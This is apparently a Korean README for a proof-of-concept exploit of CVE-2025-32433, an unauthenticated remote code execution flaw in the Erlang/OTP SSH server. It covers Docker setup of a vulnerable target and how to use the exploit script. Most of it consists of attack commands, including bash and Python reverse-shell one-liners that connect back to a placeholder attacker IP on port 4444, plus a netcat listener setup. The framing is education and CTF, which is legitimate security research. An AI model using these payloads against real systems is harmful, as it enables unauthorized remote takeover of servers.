
CVE-2025-32433에 대한 개념 증명 익스플로잇으로, Erlang/OTP SSH에서 인증 없는 원격 코드 실행을 가능하게 합니다. 보안 연구 및 CTF 챌린지를 위한 Docker 설정과 리버스 셸 페이로드를 포함합니다.
이 저장소는 Erlang/Open Telecom Platform(OTP)의 SSH 서버 구현에 영향을 미치는 치명적인 무인증 원격 코드 실행(RCE) 취약점인 CVE-2025-32433에 대한 PoC(Proof-of-Concept)를 포함합니다. 이 PoC는 교육 목적, 보안 연구, 그리고 CTF(Capture The Flag) 챌린지를 위해 설계되었습니다.
⚠️ 고지 사항 - 교육 및 윤리적 사용 전용 ⚠️
이 PoC는 교육 및 윤리적 해킹 목적으로만 엄격히 제공됩니다. 격리된 가상 머신이나 CTF 플랫폼과 같이 보안 테스트를 수행할 수 있는 명시적 권한이 있는 통제된 환경에서 사용하도록 고안되었습니다.
소유하지 않았거나 테스트에 대한 명시적 서면 승인이 없는 시스템에는 이 PoC를 사용하지 마십시오. 컴퓨터 시스템에 대한 무단 접근이나 악용은 불법적이고 비윤리적입니다. 이 저장소의 작성자와 유지관리자는 이 코드로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
| 속성 | 세부 정보 |
|---|---|
| CVE ID | CVE-2025-32433 |
| 취약점 유형 | 무인증 원격 코드 실행 (RCE) |
| CVSS v3.1 점수 | 10.0 (치명적) |
| 영향받는 소프트웨어 | Erlang/OTP SSH 서버 (ssh) |
| 영향받는 버전 | OTP-27.3.2 및 이전 OTP-26.2.5.10 및 이전 OTP-25.3.2.19 및 이전 OTP 17.0 및 그 이전 버전 |
| 패치된 버전 | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
취약점은 Erlang/OTP SSH 서버가 사전 인증(pre-authentication) 단계에서 SSH 프로토콜 메시지를 처리하는 방식에 있습니다. 구체적으로, 서버는 SSH 프로토콜 시퀀스를 제대로 강제하지 않아 원격의 무인증 공격자가 조작된 SSH_MSG_CHANNEL_OPEN 및 SSH_MSG_CHANNEL_REQUEST 메시지를 보낼 수 있게 합니다. 이를 통해 공격자는 유효한 자격 증명을 제공하지 않고도 세션 채널을 열고 임의의 Erlang 명령(결과적으로 시스템 명령을 실행할 수 있음)을 실행할 수 있습니다. SSH 데몬이 상승된 권한(예: root)으로 실행되는 경우, 성공적인 악용은 전체 시스템 장악으로 이어질 수 있습니다.
취약한 Erlang/OTP SSH 서버를 설정하는 가장 쉬운 방법은 제공된 Dockerfile을 사용하는 것입니다.
이 저장소를 클론합니다:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Docker 이미지를 빌드합니다:
이 명령은 취약한 버전의 Erlang/OTP(OTP-26.2.5.10)를 컴파일하고 SSH 서버를 구성합니다.
docker build -t erlang-ssh-vulnerable .
취약한 서버 컨테이너를 실행합니다:
이 명령은 Erlang/OTP SSH 서버를 백그라운드에서 시작하고 포트 2222에서 수신 대기합니다.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: 컨테이너를 분리 모드(detached mode)로 실행합니다.--name erlang-ssh-target: 쉽게 관리할 수 있도록 컨테이너에 이름을 지정합니다.-p 2222:2222: 호스트 포트 2222를 컨테이너 포트 2222에 매핑합니다.컨테이너가 실행 중인지 확인합니다:
docker ps
cve_2025_32433_exploit.py 스크립트는 대화형(interactive) 모드 또는 명령줄 인자로 실행할 수 있습니다.
인자 없이 스크립트를 실행하면 필요한 정보를 입력하라는 메시지가 표시됩니다.
python3 cve_2025_32433_exploit.py
127.0.0.1).2222).이것은 대화형 모드에서 명령 프롬프트를 비워 둘 때의 기본 동작입니다. 대상에 /tmp/note.txt 파일을 생성합니다.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!리버스 셸을 얻으려면 자신의 머신에 있는 리스너(listener)로 다시 연결되는 페이로드를 제공해야 합니다.
공격 머신(예: Kali Linux)에서 선택한 포트로 Netcat 리스너를 시작합니다.
nc -lvnp 4444
중요: 공격 머신의 방화벽(예:
ufw)이 이 포트에 대한 인바운드 연결을 허용하는지 확인하세요.sudo ufw allow 4444/tcp
리버스 셸 페이로드로 PoC 스크립트를 실행합니다. YOUR_ATTACKER_IP를 사용자 머신의 IP 주소로 바꾸세요.
Bash 리버스 셸:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Python 리버스 셸 (종종 더 안정적임):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Netcat 리스너를 확인하세요. 대상 컨테이너에서 연결을 수신하고 셸을 얻을 수 있어야 합니다.
Docker 컨테이너와 이미지를 중지하고 제거하려면:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable